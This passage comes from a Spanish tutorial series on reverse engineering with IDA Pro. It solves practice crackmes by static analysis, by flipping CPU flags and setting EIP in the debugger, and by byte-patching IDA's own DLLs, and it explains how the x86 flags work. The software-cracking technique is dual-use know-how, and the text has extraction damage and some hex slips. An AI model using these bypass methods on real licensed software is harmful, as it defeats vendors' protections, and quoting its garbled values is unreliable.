la misma siempre empieza con la letra “a” por ser una string ASCII y el resto tene que ver con la misma
string, para que sea fácil de reconocer en este caso el tag es aPoneUnNumerito luego db porque es una
cadena de bytes

A la string que como antes si la pasamos a bytes con D vemos los mismos.

Ya ahora que nos aseguramos volvemos a crear la string con la tecla A.

Pasando el mouse por la fechita de la referencia vemos de donde es llamada, pero más cómodo es
apretar la X para ver la lista de referencias e ir allí.
Bueno estamos en la función principal acá no se llama main, aunque el nombre del bu er que es
bastante genérico le puso Buf.

Se supone que no conocemos el código fuente, pero si lo veo

Me doy cuenta que de las variables que cree, algunas las optmizo como por ejemplo cookie y max que
las reemplazo por constantes y dejo solo el bu er que en mi código era de 120 bytes decimal.

Un bu er es un espacio de memoria reservado para guardar datos, en este caso reserve 120 bytes.

Como podemos saber en IDA el largo de un bu er del stack si no tenemos el código fuentei

Allí vemos en la parte superior de la función la lista de variables y argumentos, haciendo doble click en
cualquiera nos llevara a la vista estátca del stack en la cual se ven las posiciones de las variables, bu ers
argumentos etc en forma estátca y la distancia que hay entre ellas.
Allí vemos Buf pero está de nida como byte db (IDA al no tener los símbolos no puede detectar el
bu er) para cambiarla a array de caracteres o bu er, hacemos click derecho en la palabra Buf y elegimos
la opción Array.

Allí vemos que se ja hasta la siguiente variable o lo que haya más abajo en el stack, detecta 120
decimal de largo y el array element es el largo de cada campo como es 1 es un array de caracteres o
bytes y mide 120*1 o sea 120.

Si acepto.
Veo el bu er de 120 bytes que coincide con mi código fuente, aunque el compilador podría hacerlo más
grande, mientras que sea como mínimo 120 está bien, en este caso son iguales. DUP signi ca duplicar
(realmente seria multplicar) 120 veces el carácter ? porque no está de nido el valor aun, es un bu er
estátco vacío.

Ya aclararemos más adelante la vista del stack estátca, pero debajo de Buf hay una variable dword (dw)
llamada var_4

S y R son el EBP guardado de la función padre de esta la que la llamo y el RETURN ADRESS como
habíamos visto al entrar en la función primero se pasaban con PUSH los argumentos, luego se usaba un
CALL para entrar en la función que guardaba el RETURN ADRESS o dirección de retorno en el stack, y
arriba de S van las variables.

VARIABLES

S (stored ebp -generalmente viene del PUSH EBP que es la primera instrucción de la función)

R (return address)

ARGUMENTOS

O sea que como los argumentos se pushean al stack antes del CALL que pone el return address,
quedaran debajo del mismo, y luego arriba del return address viene el STORED EBP que se genera por el
PUSH EBP que generalmente es la primera instrucción de la función y luego arriba se deja espacio para
las variables locales, ya lo veremos con más detalle.

Si hago X para ver de donde es llamada la función


Y voy allí veo que hay unos PUSH que pasan argumentos a la función que cuando trabajo con SIMBOLOS
los vio y aquí no, faltan los tres argumentos debajo, aquí está la imagen con símbolos.

IDA detecto que nunca son usados, son los argumentos argc, argv y envp, que son argumentos por
default en el main pero como nunca hubo ninguna referencia ni uso dentro de la función, IDA los
elimino para aclarar el panorama.

Además, en mi código ni siquiera lo había pasado como argumentos del main, así que todo bien es una
función sin argumentos.

Cuando queremos ver en qué lugares se accede a una variable, la marcamos y apretamos X.
Vemos que var_4 se usa en dos lugares es para el que no sabe, una cookie que no la programe yo, es de
protección contra stack overfows, la guarda al inicio de la función y la chequea antes de salir de la
función, por ahora le ponemos de nombre COOKIE_DE_SEGURIDAD o CANARY.

Vemos que cuando imprime las strings llama a un CALL que seguro termina yendo a prin para imprimir
las strings.

Vemos que en la versión con símbolos lo detecto directamente como prin


Pero igual si miramos dentro del CALL y sabiendo que los argumentos son las strings que termina
imprimiendo por consola deducimos que es prin .

Vemos dentro de la función que termina en vfprin , así que es eso la renombramos.

Nos queda solo el Buf de 120 bytes, veamos que hace con el.

Vemos que se lo pasa a get_s que es una función que recibe lo que tpeamos en una consola.
Vemos que tene dos argumentos el puntero al bu er y el size má?imo que nos permite tpear, veamos
en nuestro caso.

Habíamos dicho que el LEA hallaba la dirección de una variable, en este caso es la dirección del bu er
Buf que se lo pasa con un PUSH EAX, y luego un PUSH 0?14 que pasa el má?imo que permito tpear en la
consola.

Vemos en mi código fuente lo mismo el llamado a get_s con dos argumentos el buf y el má?imo que yo
la había usado una variable ma? que valía 20, pero el compilador directamente para ahorrar espacio le
puso 20 decimal o sea 0?14 a ese argumento ya que no se usa nunca más.

Por lo tanto, sin ejecutar ya sé que en el bu er tengo los caracteres que tpeo por consola.

Después el mismo puntero al bu er se pasa como argumento a la función atoi.


Que hace la misma.

Convierte la cadena en un entero y si no puede porque desborda el má?imo posible, da error


devolviendo cero si no lo puede convertr, también si se sobrepasa los negatvos da diferentes errores,
pero la idea es que lo que se tpee lo convertrá a un número si tpea 41424344 lo convertrá en ese
decimal, que como en assembler trabajamos con he?adecimales lo devolverá en valor HEXEADECIMAL
en EAX.

Vemos que el valor devuelto en EAX se pasa a ESI y luego de imprimir la string original que se tpeo,
compara el valor de ESI con 0?12457 .
Así que como lo que se tpea se interpreta como cadena de números decimales, que se devuelve como
he?adecimal y se compara contra esa constante, pasándole el valor decimal de esa constante debería
funcionar ya que luego si esa igualdad es válida.

Vemos que si la comparación no es igual (JNZ) me lleva a BAD REVERSER y si son iguales a GOOD
REVERSER, probemos en la consola de Python a ver qué valor decimal es 0?12457 .

Tipeemos ese valor al ejecutar el crackme

Bueno este es un ejemplo sencillito de reversing estátco, para ir ambientándonos con el LOADER.

Hasta la parte 10

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
10
Bueno hemos visto algo del LOADER y seguiremos viendo, pero veremos algunos aspectos del
DEBUGGER para poder ir complementando ambos.

IDA soporta múltples DEBUGGERS para verlo abrimos el CRACKME DE CRUEHEAD original sin parchear
en el IDA.

Obviamente elegimos OVERWRITE si nos pregunta si queremos crear una nueva database y sobrescribir
la vieja, para que haga un análisis nuevo, si ya teníamos en el mismo lugar la anterior database o archivo
idb del parcheado.

No ponemos la tlde en MANUAL LOAD, así que aceptamos las ventanas que siguen hasta que abra.

Obviamente para empezar por el principio entre las diferentes posibilidades de DEBUGGERS elegiremos
LOCAL WIN32 DEBUGGER servirá para comenzar, más adelante veremos las otras.
Veremos algunos puntos del DEBUGGER incluido en IDA que tene sus partcularidades y que si uno no lo
aprende a usar ya que es un poco diferente del resto de los debuggers se puede complicar.

La diferencia surge creo yo en que IDA comenzó siendo solo lo que hoy llamamos el LOADER o sea un
muy buen desensamblador estátco y con grandes posibilidades de interactvidad para el reversing,
luego se le añadió el DEBUGGER sobre el mismo lo cual trajo algunos problemas que se fueron
solventando pero que hacen que la forma de trabajar a veces sea un poco distnta a DEBUGGERS como
OLLYDBG.

En DEBUGGERS – DEBUGGERS OPTIONS tenemos las opciones para el DEBUGGER.

Pondremos la tlde en SUSPEND ON PROCESS ENTRY POINT para que pare en el punto de entrada del
mismo.
Haremos los cambios en el analisis que habíamos hecho antes, COLOREAREMOS y RENOMBRAREMOS la
zona de los saltos decisivos.

Allí ponemos un BREAKPOINT con F2 en el salto que toma la decisión en 0x401243 y vamos al otro salto
que habíamos parcheado y también F2.

Ya estamos como lo habíamos dejado pero sin cambiar codigo, ahora podemos arrancar el DEBUGGER
con DEBUGGER-START PROCESS.
Esto siempre nos aparecerá cuando vayamos a DEBUGGEAR un ejecutable en nuestra maquina local, ya
que mientras analizamos en el LOADER jamás se ejecuta en nuestra máquina, pero ahora si se ejecutara,
por lo tanto siempre se debe tener cuidado al ejecutar si es un VIRUS o algo potencialmente peligroso
conviene usar el DEBUGGER REMOTO y ejecutarlo en una máquina virtual, ya veremos eso a su tempo.

Como el CRACKME DE CRUHEAD es más bueno que LASSIE medicada, apretamos YES.

Como le pusimos que se detenga en el ENTRY POINT así lo hizo, está parado en 0x401000 si apretó la
barra espaciadora pasara a modo grafco como en el LOADER.

El color celeste de fondo de los bloques me dice que estoy en el DEBUGGER, en el LOADER los bloques
son blancos por default.

Acomodo las ventanas sobre todo achicando un poco la parte del OUTPUT WINDOW, arrastrando su
margen hacia abajo, agrando un poco el stack y que se vean los registros arriba a la izquierda y los ags

Allí está la vista de REGISTROS y FLAGS,

Una vez que logre una vista cómoda, la guardare por default para el DEBUGGER en WINDOWS-SAVE
DESKTOP poniendo la tlde en DEFAULT siempre que arranquemos el DEBUGGER arrancara de la forma
que elegimos y si queremos volver a cambiarlo, podemos volver a hacerlo sin problemas.
Debajo de los registros esta la vista de STACK.

Y tenemos también el listado IDA-VIEW EIP y abajo el HEW VIEW o HEX DUMP la vista en hexadecimal
de la memoria.
Si vemos en la parte inferior del listado.

Siempre tendremos la dirección de memoria y el FILE OFFSET que es el OFFSET en el archivo ejecutable,
si lo abrimos en un editor HEXA por ejemplo el HXD.

Vemos que en el FILE OFFSET 0x600 están los mismos bytes.

Ya sabemos que por DEFAULT en el LOADER y el DEBUGGER viene confgurado el atajo de teclado G para
ir a una dirección de memoria, si apretó G, y pongo 0x401389.

Voy a la zona donde estaba un breakpoint, vemos los colores, le quito para que no se vean los bytes,
para no ensuciar la vista, y veo que todo está tal cual lo dejamos en el LOADER si reverseamos,
cambiamos nombres etc, aquí en el DEBUGGER se mantenen, asimismo los cambios que hagamos aquí
aparecerán en el LOADER, ya que es un módulo que está marcado como los que cargan en el LOADER.
En VIEW-OPEN SUBVIEW-SEGMENTS vemos ahora los tres segmentos que carga el LOADER cuando no
actvamos MANUAL LOAD, el de código o CODE que carga en 0x401000 el de DATA e IDATA, cualquier
reversing que hagamos a estos tres, se mantendrán pues cargarán en el LOADER, fuera de esos tres, los
cambios se perderán pues son solo módulos cargados por el DEBUGGER y no se guardaran en la
database.

O sea que siempre los módulos que estemos reverseando y queremos debuggear deben estar en el
LOADER o L allí, obviamente cargaran en el DEBUGGER también, pero que tengan la L signifca que
estarán en ambos y podre reversear estátcamente en el LOADER y DEBUGGEAR en ellos sin perder info
ni mi trabajo de reversing estátco.

Una de las barritas que me es siempre muy útl es


La agrego y vuelvo a guardar el con SAVE DESKTOP para que quede por default.

La posibilidad de volver para atrás al lugar donde estabas antes y hacia adelante es muy cómoda tenerla
a mano.

Apretando la echa para atrás vuelvo el entry point donde estaba antes.

También en el menú DEBUGGER.


Puedo ver la lista de BREAKPOINTS e ir al que quiera doble clickeando en el.

Así que estoy parado en el Entry Point y tengo los dos BREAKPOINTS puestos, así que podría apretar f9
para que corra.
Vamos a HELP-REGISTER y pongamos una clave.

Al dar OK.

Queda ttlando la echa de la izquierda que es por donde va a seguir, vemos que EAX vale 0x72
Si tpeo en la barra de Python chr00x72) veo que es la r de ricnar.

Y va a comparar si es más bajo que 0x41.

Podemos también ver con chr00x41) en la barra de Python que es la A.

Pero también podemos para que quede más claro hacer click derecho en el 41h del listado y entre las
opciones que podemos elegir de visualización me aparece la A.
Vemos que compara contra A y contra Z por ahora no buscamos solucionar completamente el crackme,
pero vemos que 0x72 es más grande que 0x41 por lo tanto no va al bloque rojo del cartel de error.
Obviamente saltaría al bloque rojo si es más bajo, pero también se puede evaluar mirando los ags.

Allí vemos el salto JB el cual salta o sea sigue la echa verde en IDA si es el primero es menor, pero
también al realizar la comparación se actva el ag C 0también llamado CF o C) , allí dice salta si C=1, si
vemos en el IDA los ags.
El ag C está a CERO por lo cual el salto no se tomará e ira por el camino de la echa roja.

Ahora cual es la condición matemátca en la cual se actva el CARRY FLAG?.

EL CARRY FLAG nos da información de que algo salió mal en una operación entre unsigned integers, si
hago la resta ya que el CMP es una resta sin guardar el resultado, 0x72-0x41 el resultado será 0x31 que
es positvo y no hubo problemas, sin embargo si mi valor fura 0x30 por ejemplo al restarle 0x41, me dará
-0x11.

Lo cual es un valor negatvo y no es aceptado como resultado de una operación de números positvos,
pues si lo contnua trabajando como hexadecimal.

Sera 0xFFFFFFFEF y eso como positvo es un valor muy grande 4294967279 y de ninguna manera restar
0x30 – 0x41 es igual a 0xFFFFFFEF positvo.
Como sabemos si en una operación donde no se considera el signo o no?.

Eso está dado por el tpo de salto en este caso JB es un salto que se usa luego de una comparación SIN
SIGNO para las operaciones entre números CON SIGNO usara JL.

Si comparo 0xFFFFFFFF contra 0x40 en un salto sin signo obviamente es mayor pues es el máximo
positvo, pero si es un salto donde se consideran los signos será -1 y será menor a 0x40.

O sea que para evaluar si una comparación usa signo o no debemos ver el salto siguiente que toma la
decisión.

Si el salto es cualquiera de estos se evalúa SIN SIGNO, mientras que cada uno tene su contraparte como
JB y JL en la tabla de los saltos CON SIGNO.

Vemos que JE que evalúa si son iguales está en ambas tablas pues en ese caso no importa el signo si son
iguales se actvará poniéndose a 1 el ZF.

Vemos también que JG que salta si es mayor en la tabla de los con signo tene su contraparte con el JA
que salta si es mayor en la tabla de los SIN SIGNO.

Igual en el análisis diario uno no se pone a mirar las ags demasiado, ve un salto JB y sabe que es una
comparación entre números positvos o SIN SIGNO y que si el primero es menor saltara, pero es bueno
ver lo que hay debajo.
Si contnúo parando en todos los breakpoints veré que estoy en un loop que va leyendo uno a uno mis
caracteres del nombre y compara todos con 0x41 si hay alguno menor saldrá el cartel de error, como
puse todas letras 0ricnar) no será el caso, pero restarteemos el proceso con TERMÍNATE PROCESS y
START PROCESS nuevamente y ahora pongamos como nombre 22ricnar y clave 98989898.

Al aceptar parara en el breakpoint.

Vemos que ahora mi primer carácter es el 0x32 que corresponde al 2 de 22ricnar.

Veo que como 0x22 es menor que 0x41 se actva la echa verde o sea que el salto se tomara y vemos
que el ag C está actvado porque al restar 0x32 menos 0x41 en una resta sin considerar signo nos da
negatvo el resultado y eso es un error que actva el ag C.

Si hago click derecho en el FLAG C


Podemos ponerlo a cero

En ese mismo momento que lo cambiamos empieza a ttlar la echa roja porque lo invertmos.

Si damos RUN volverá a parar cuando evalué el siguiente 2 de 22ricnar y volverá a ttlar la echa verde
que llevaría al cartel de error, invertmos de nuevo CF poniéndolo a cero.

Las siguientes veces que para en este salto corresponden a ricnar por lo cual como son mayores que
0x41 no actvan el CF y siguen por la echa roja.

Después de pasar el chequeo de cada carácter del nombre llegamos al salto fnal.

Allí compara que EAX y EBX sean iguales aquí no importa signo ni nada, ya me prendió la echa roja de
que no son iguales y me va a trar al cartel de error.
Ahí veo que no son iguales, y el ag Z no está actvo.

Si lo actvamos cambiara el salto e ira por la echa verde al cartel de GOOD BOY, click derecho en el ZF y
elijo INCREMENT VALUE.
Hicimos lo mismo que cuando parcheamos, pero sin hacer modifcaciones solo cambiando los ags en el
DEBUGGER.

Muchas veces cuando uno no tene ganas de invertr saltos directamente va al bloque bueno donde
quiere contnuar y pone el cursor allí y hace click derecho, aunque IDA 6.8 tene un BUG que fue resuelto
en la versión 6.9 que a veces hacer click derecho crashea el IDA si les ocurre buscan el shortcut que
necesitan, algunos están en:

h ps://www.hex-rays.com/products/ida/support/freefles/IDA_Pro_Shortcuts.pdf

Sino en el mismo IDA en OPTIONS-SHORTCUTS.

Si nos trae problemas el click derecho para setear EIP poner el cursor donde queremos ir por ejemplo
0x40124c y apretamos CTRL + N que es SET IP.

Y el programa contnuara desde 0x40124c que es lo mismo que haber invertdo el ag.
Hasta la parte 11.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
11
Antes de seguir vamos a ver si podemos arreglar el bug que se produce en el IDA en la versión 6.8, el
cual fue fieado en la versión 6.9 pero esa no la tenemos, para ver si la versión suya tene el BUG, abren
el IDA, y en una instrucción hacen ALT mas M que es similar a colocar una marca (JUMP-MARK
POSITION) y luego en esa misma instrucción hacemos click derecho.

En internet dice como fiear este bug veamos si podemos hacerlo y si funciona bien por lo cual
dejaremos una copia de los módulos originales guardados.
Tomemos primero ida.wll y abrámoslo con un editor heiadecimal como el HXD, con permisos de
administrador.

Cambiamos los bytes 80 3d del o set 0i3c3f6 por EB 30.

Copie la original a otro lugar antes de modifcarla y luego la renombre y la copie en la misma carpeta
como backup.

La otra es la ida64.wll y hacemos lo mismo en 0i41606 80 3d por EB 30.


Veamos si sigue el BUG.
Probamos lo mismo ALT + M en una instrucción y luego click derecho, VOILA no crashea, esperemos
que funcione sin efectos secundarios jeje.
No quise abrumar con toda teoría junta desde el inicio por eso fui mezclando con algo de ejercicios, pero
nos queda ver antes de continuar la definición de algunos flags mas que son importantes.
FLAGS
CARRY FLAG
Ya vimos algo del CARRY FLAG en el capítulo anterior, el mismo se activa en operaciones de números
sin signo cuando el resultado es negativo como en el caso anterior o desborda el máximo posible en una
suma, veamos los ejemplos en el debugger.

Si arrancamos el CRACKME.exe en el IDA como debugger y paramos en el entry point y cambiamos la


instrucción a ADD EAX, 1.

Ponemos EAX=0xffffffff con click derecho-MODIFY VALUE.


Si se rompe el grafico podemos hacer click derecho-CREATE FUNCTION en el inicio de la misma para
arreglarlo,
Y traceamos la instrucción con f8, para que la ejecute, vemos que el CF se activa al desbordar el máximo
positivo posible.

Lo mismo si abajo escribimos SUB EAX, EDX.


Ya vimos que, si al restar dos positivos el resultado es negativo, se prendera el CF porque el resultado
da equivocado.

EAX lo modifico a 0x25 y EDX a 0x40 al tracear con f8, veamos si se activa el CF.

Se activó el CF si cambio EIP para ejecutar de nuevo esta resta, haciendo click derecho - SET IP en la
instrucción del SUB EAX, EDX y cambio EAX a 0x100.
La ejecuto con f8.

No se activó o sea que como conclusión general podemos pensar que en una cuenta de valores SIN
SIGNO si se activa CF es que hubo un error en la misma de algún tipo.
OVERFLOW FLAG.
Es similar al caso anterior, pero para operaciones CON SIGNO, cambiamos EIP al ADD EAX,1 y
ponemos EAX a 0x7fffffff.

Si ejecuto f8.
Vemos que se activó el OVERFLOW FLAG ya que en una operación con signo sumarle uno al máximo
positivo 0x7fffffff hace que el resultado sea el máximo negativo y el resultado de la cuenta es falso.

Si resto EAX y EDX con estos valores.

También se activa porque el máximo negativo 0x80000000 menos 0x40 da un valor positivo muy grande
dando erróneo el resultado de la operación.
Por lo tanto, podemos sacar como conclusión que el OVERFLOW FLAG si se activa es que hubo un
error en una operación CON SIGNO.
FLAG DE SIGNO
Este es sencillo se activa cuando el resultado de una operación es negativo, en cualquier caso. Solo
determina el resultado del signo del resultado no si es correcta o incorrecta la operación.
0x8000000 mas 0x1 se mantiene dentro del rango de los números negativos el resultado 0x8000001, por
lo que se activa el SF, también vemos que el OF y el CF no se activan al no haber error en la operación
sean ambos SIN SIGNO o CON SIGNO.

Obviamente el procesador cuando ejecuta la instrucción de una operación de dos registros no sabe si
son SIGNED o UNSIGNED nosotros lo sabemos porque vemos los saltos condicionales siguientes, pero
el procesador no lo sabe, así que en cualquier operación evaluara la instrucción como si fueran SIN
SIGNO y CON SIGNO a la vez y variara los flags necesarios, como los saltos condicionales dependen de
los flags, ahí será que el programa mirara el resultado del flag CF SIN SIGNO o OF CON SIGNO según
el salto que haya, si por ejemplo hay un JB que es un salto SIN SIGNO mirara solo el CF y no le
importancia al OF aunque ambos cambien.
ZERO FLAG
Este no depende del signo

Se activa cuando en una comparación (la cual internamente es una resta) ambos miembros son iguales,
cuando hay un incremento o decremento y el resultado es cero, o en una resta que de cero.
Podemos probarlo.

EAX le pongo 0xffffffff y al sumarle 1 que pasa.

Vemos que se activa el ZF ya que el resultado es cero, y si consideramos ambos como SIN SIGNO,
también se activa el CF ya que desbordo el máximo positivo, en cambio el OF no se activó porque si
ambos son CON SIGNO -1 + 1 da cero y no hay error, tampoco el SF se activó ya que el resultado no
fue negativo.
Esos los flags más importantes, veamos si colocamos a continuación un salto condicional que sucede.
Cambio las instrucciones para que quede un SUB EAX, EDX y a continuación escribo un JB 0x401018.

Pongo EAX=0x40 y EDX=0x2 y ejecuto el SUB solamente con F8.

Titila la flecha roja porque como EAX es mayor que EDX por lo tanto el salto no se efectúa, pero miremos
los flags.
JB es un salto SIN SIGNO y salta si está activo el FLAG CF y como no se activó porque la operación fue
correcta entre dos números positivos y el resultado es positivo lo cual significa que el primero es mayor
que el segundo, por lo tanto, no salta.

Pero si cambiamos EAX a 0x40 y EDX a 0x80 y vuelvo a repetir la resta.


En este caso como EAX es más bajo que EDX el salto se tomará y seguirá por la flecha verde.

Como JB mira el CF saltara porque está activo ya que el resultado de una operación SIN SIGNO dio
negativo y dio error.
También se activó el SF porque el resultado dio negativo y el OF no se activó ya que si ambos son SIN
SIGNO la operación no da error ya que 0x40 – 0x80 da negativo y el resultado lo es.

Como vimos JB salta según el estado del flag CF pero si lo cambio por un JL.
En ese caso cambia y va por la flecha verde porque el primero es menor que el segundo pero que flag
mira el salto JL.

Vemos que el JL mira si el SF no es cero y en este caso es 1 así que también saltara lo cual es lógico ya
que el primer miembro es menor que el segundo y el SUB es como una comparación CMP, solo que esta
última guarda el resultado, así que el primero siendo menor que el segundo también saltara.
La conclusión del tema es que no es necesario mirar los flags para saber que pasara en un salto
condicional, eso pertenece al funcionamiento interno, con saber si son iguales saltara un JZ si es menor
sin signo saltara si es un JB si es menor con signo saltara si es un JL y así sucesivamente, viendo la
tercera columna de la tablita y sabiendo cuales saltos son con signo y sin signo es suficiente, pero es
bueno profundizar un poco.
Hasta la parte 12
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING CON
IDA PRO DESDE CERO PARTE 12
Bueno para no ir aburriendo, vamos a ir mezclando con ejercicios, en este caso es otro compilado por mí
que se llama TEST_REVERSER.exe y que es muy sencillo, pero nos ayudara a ver algunas cositas nuevas
en reversing estátco y a chequearlas debuggeando.

Si lo ejecutamos fuera de IDA vemos.

Nos pide un User y luego un password y luego nos dice que somos un asco y se nos caga de risa jeje.

Abrámoslo en IDA para ir viéndolo estátcamente.

Como no le puse símbolos la cosa se ve más fea.


No nos abre en el main obviamente, sino en el ENTRY POINT pero bueno, la realidad casi siempre es así
y nos arreglaremos como sea.

Una de las formas como ya vimos de llegar a la parte caliente es buscar strings ya sabemos cómo hacer
eso, también en estos programas de C++ de consola, una forma de hallar el main que casi siempre
funciona es la siguiente.

Sabemos que a la función main se le pasan como argumentos argc argv etc los argumentos de consola.

int main(int argc, char *argv[])

Ya vimos en el ejemplo anterior que aun sin que se utlicen los argumentos, los PUSH estaban igual, o
sea que es algo por default para ejecutables de consola, así que podemos buscar en la pestaña NAMES a
ver si están allí.

De aquí en más cuando diga en la pestaña XXX ya saben que se abre en VIEW-OPEN SUBVIEW-XXX, para
no repetr tanto.

Ahí con CTRL + F fltramos escribiendo arg y vemos por ejemplo haciendo doble click en _p_argc.

Buscando las referencias con X.


Allí vemos como llama a la función _p_argv y _p_argc y lo que devuelve se pasa su contenido a la
función main que es este caso es 0x401070.

Si esta misma función la veo en el IDA mío que tengo la versión con símbolos.

Y la referencia.
Obviamente no es la idea hacer trampa, solo chequear si el método para hallar el main se verifca y aquí
es completamente cierto, buscando las referencias de los argumentos que se pasan por consola,
llegamos al main.

Al renombrar el main.

Automátcamente IDA renombra los args al decirle que dicha función es el main.

Ahora se parece un poco más a la versión con símbolos jeje.


Vemos en este caso que las variables y argumentos son más numerosas que en el ejemplo anterior.

Si hacemos doble click en cualquier variable o argumento, veremos la representación estátca del stack.

Vemos de abajo hacia arriba, lógicamente primero estarán los argumentos de la función que van
siempre debajo del return address r ya que se pasan por PUSH y se guardan en el stack antes de llamar
con CALL a la función, lo que a contnuación guarda el return address en el stack.

Luego tenemos S o sea el STORED EBP que es el EBP que la función que llamo al main, se guarda en el
stack cuando se empieza a ejecutar la función con el PUSH EBP.

Luego mueve ESP a EBP poniendo EBP en el valor que tendrá en esta función para ser la BASE de donde
se toman como referencia hacia abajo los argumentos y hacia arriba las variables, y por últmo el SUB
ESP,0x94 mueve ESP haciendo lugar para la variables y bu ers locales por eso están arriba, en este caso
será 0x94 porque calculo el compilador que eso es lo que necesita para reservar el espacio para
variables y bu ers, según como programamos nuestra función.

ESP queda con un valor arriba de ese espacio reservado para las variables locales y EBP queda
apuntando a la BASE o HORIZONTE, que divide las variables por arriba y el STORED EBP, RETURN
ADDRESS y ARGUMENTOS por debajo.

Por eso en las funciones basadas en EBP, una vez que se guarda con PUSH EBP el valor de EBP de la
función que llamo, y luego se mueve ESP a EBP este queda siendo como un horizonte, por eso en la vista
estátca del stack, se muestra 000000000 como un horizonte y hacia arriba se ven signos menos delante
y para abajo signos más.

Por eso var_4 tene el -00000004 delante porque tomando EBP como BASE o cero la dirección
matemátca seria EBP-4.

Y hacia abajo argc seria EBP+8 mirando la columna de la izquierda


Eso se puede verifcar en el listado dentro de la función main donde se usa var_4 si hacemos click
derecho vemos.

Volviendo a la distribución del stack estátca.

Cuando vemos en la misma un espacio vacío donde no hay variables contguas es porque posiblemente
hacia arriba haya un BUFFER (más adelante veremos los casos en que el espacio vacío es una
estructura). Ahora subamos un poco.

Allí vemos Buf que es la primera variable encima de la zona vacía, hacemos click derecho ARRAY.
Vemos el size del ARRAY 120 ya que está compuesto de 120 elementos de 1 byte.

Ahora la representación del stack quedo mejor.


Vemos la base EBP y recordamos que una vez que EBP y ESP se igualan en MOV EBP, ESP luego se le
resta a ESP el valor 0x94 y queda ESP trabajando arriba de la zona de las variables.

Allí vemos la zona en que queda ESP luego de ese SUB ESP, 0x94.

Ahí se ve en la izquierda -00000094 o sea que será ESP=EBP-094 obviamente luego seguirá subiendo a
medida que siga trabajando, entre a otras subfunciones etc, pero siempre mientras este dentro de esta
función main y hasta que salga de la misma quedara trabajando desde ese 0x94 para arriba ya que
respetara la parte reservada para las variables, para no pisarlas.

Bueno una vez que ya hicimos un paneo de la vista estátca del stack, vamos reverseando las variables ya
que los argumentos son conocidos (argc, argv, etc)

Ya vimos que var_4 es la variable de la COOKIE_SEGURIDAD o CANARY, vemos que lee el valor lo XOREA
con EBP y lo guarda en el stack para protegerlo de OVERFLOWS, así que renombremos a eso.
Al igual que en el ejemplo anterior la api prin al no tener símbolos no se muestra pero viendo las
strings que imprime en consola y viendo la función 0x4011b0.

Y allí dentro en 0x401040

Así que renombraremos 0x4011b0 como prin .

Sigamos adelante.
Vemos que la variable size es inicializada con 8 y nunca más cambia su valor solo hay dos lecturas entre
las referencias posteriores, así que renombraremos esa variable size como size_
_CONST_8.

Vemos luego una llamada a get_s que es una evolución de la función gets pero con un máximo de
caracteres que podes tpear, en este caso, el máximo seria 8 que se mueve a EAX y se pasa como
argumento con el PUSH EAX y luego el LEA obtene la dirección de la variable Buf o sea el BUFFER.
Por supuesto si entramos menos caracteres que 8 y apretamos ENTER, cortara la entrada de los mismos
y retornara.

Así que sabemos que en Buf estará el User que tpeamos y que tendrá como máximo 8 caracteres.

Allí vemos que luego pasa con PUSH EDX la dirección del bu er nuevamente, como argumento de la api
strlen para sacar el largo de la string que está en Buf que corresponde al User, y guarda en esa var_90 el
largo que devuelve en EAX, así que renombramos la var_90 con len_USER.

La echa azul siempre indica un salto hacia atrás lo que puede ser un LOOP, y en 0x4010ce se inicializa el
contador del LOOP var_84, inclusive se ve que en 0x4010f5 está el salto condicional que evalúa la
condición de salida del mismo, el contador empieza en CERO se ira incrementando en cada ciclo y saldrá
cuando sea más grande o igual al largo de lo tpeado len_USER.
El contador se incrementa en el fn del LOOP aquí.

Allí mueve el valor de CONTADOR a EAX lo incrementa y luego lo vuelve a guardar

Allí mueve de EBP+EDX+BUF el primer byte del BUFFER ya que EBP+BUF se le suma CONTADOR que
ahora vale cero pero se incrementara a medida que cicle el LOOP, vemos ahí que lo que hará será una
sumatoria de todos los valores de los caracteres que tpee, así que a var_88 que empieza valiendo cero,
se le irán sumando en cada ciclo los valores hexadecimales de cada carácter de la string del BUFFER.

Vemos una instrucción que no habíamos visto aun MOVSX.

MOVSX Y MOVZX

Ambas toman un byte y lo mueven a un registro en el caso de MOVZX rellenan con ceros los bytes
superiores, mientras que en el caso de MOVSX toma en cuenta el signo del byte si es positvo o sea
menor o igual que 0x7f rellena con ceros y si es negatvo o sea 0x80 o mayor rellena con 0x .
MOVZX EAX,[XXXX]

Si el contenido de XXXX es 0x40 EAX valdrá 0x00000040.

También existe por ejemplo MOVZX EAX,CL

Ese caso es similar tomara el valor del byte y lo completara con ceros los bytes superiores.

MOVSX EAX,CL

Toma en cuenta el signo del byte si CL es por ejemplo 0x40, EAX valdrá 0x00000040 y si fuera 0x85 en
ese caso considera el signo y al ser negatvo EAX valdrá 0x 85.

Igualmente, ya que tpeamos caracteres por consola las letras y números son caracteres con valores
hexadecimales positvos así que no habrá problema, ira sumando los valores uno a uno y los guardará.

Vemos que el LOOP es una sumatoria de caracteres, los pintaremos del mismo color.

También los acerque un poco arrastrando y soltando el bloque de abajo un poco más arriba.
Hay gente que para sacarlos del medio si no tene ganas de que le molesten los agrupa, con CTRL
apretado haciendo click en la barra superior de cada bloque.

Hacemos click derecho GROUP NODES y le ponemos un nombre por ejemplo LOOP.

De últma si uno quiere ver algo puede darle a UNGROUP NODES.


Luego imprime el USER y te dice que tpees un PASSWORD.

Luego llama a get_s de nuevo usando el mismo bu er y con el mismo máximo.

Puede reusar el mismo BUFFER para el PASSWORD, total ya calculo la SUMATORIA de los valores
hexadecimales de los caracteres de USER y no usara más la string USER en sí.

Ahora tomara el PASSWORD y lo convertrá a HEXADECIMAL como en el ejemplo anterior usando ATOI.

Allí le pasara el VALOR_PASSWORD con el PUSH EDX y la SUMATORIA con el PUSH EAX, esos serán los
dos argumentos que se le pasan a la función 0x401010, entremos en ella.
Allí vemos los dos argumentos, es obvio que el que está más abajo será VALOR_PASSWORD ya que fue
el que primero se pasó con PUSH en el stack y el segundo que se pusheo será SUMATORIA, que estará
más arriba.

Los renombro según eso, y luego para verifcar que quedo bien en el sub_0x401010 hare click derecho y
elegiré SET_TYPE.

Con lo cual IDA tratara de declarar la función con sus argumentos para que se vea en la referencia y
renombramos también a CHECK la función.
Y si vamos a la referencia.

Vemos que IDA me propaga los nombres y me dice que EAX allí tene SUMATORIA y EDX el
VALOR_PASSWORD.

Y que hace la función CHECK con ambos?

Vemos que los compara pero antes toma el valor PASSWORD y le hace SHL EAX, 1

O sea sabemos que SHL es rotar a la izquierda los bits, llenando con ceros los que caen por un lado, pero
